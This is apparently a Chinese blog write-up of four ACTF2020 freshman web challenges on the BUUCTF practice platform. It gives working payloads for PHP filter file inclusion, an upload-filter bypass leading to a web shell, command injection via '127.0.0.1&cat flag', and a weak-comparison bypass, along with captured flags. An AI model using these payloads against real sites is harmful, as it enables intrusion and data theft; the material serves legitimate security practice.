ACTF2020 新生赛

原创

ScyLamb 于 2021-01-03 16:17:12 发布 114 收藏
分类专栏： BUUCTF 文章标签： 信息安全

0x01 Include

- 源代码中发现文件包含
- payload：

```
?file=php://filter/read=convert.base64-encode/resource=flag.php
```

得到

```
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7NThkODk3MTItYjVjNC00OWQwLWE1ZDgtOGZiYTk2YmZjNmI0fQo=
```

解base64:

```
<?php
echo "Can you find out the flag?";
//flag{58d89712-b5c4-49d0-a5d8-8fba96bfc6b4}
```

0x02 Upload

- 随便上传，显示规则
  `该文件不允许上传，请上传jpg，png.gi结尾的图片！`
- 发现是这是js检测，抓包绕过
- 抓包上传后，回显更改名字的图片
  `Upload Success! Look here~ ./uplo4d/f3ccdd27d2000e3f9255a7e3e2c48800.jpg`
- 测试其他扩展名，成功
  `./uplo4d/1406a3b458d663eb5c3e61b80d160948.phtml`
- 蚁剑连接成功，getFlag

0x03 EXEC

- payload:

```
127.0.0.1&ls
index.php
PING 127.0.0.1 (127.0.0.1): 56 data bytes

127.0.0.1&ls /    //一般在根目录
flag
...
PING 127.0.0.1 (127.0.0.1): 56 data bytes

127.0.0.1&cat flag
flag{349cb578-b365-424c-9c69-a75fb8d5e757}
PING 127.0.0.1 (127.0.0.1): 56 data bytes
```

0x04 BackupFile

- dirsearch扫描
  `python ./dirsearch.py -u http://3dc3d80d-11ca-4257-a22f-e4c07996818b.node3.buuoj.cn/ -e * --threads=1 --delay=0.1`

> 太快会429

- 找到`index.php.bak`，打开

```php
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {//是否为数字
        exit("Just num!");
    }
    $key = intval($key);//转化为整型
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {//弱类型比较，str变成123
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}
```

- payload `buuoj.cn/?key=123`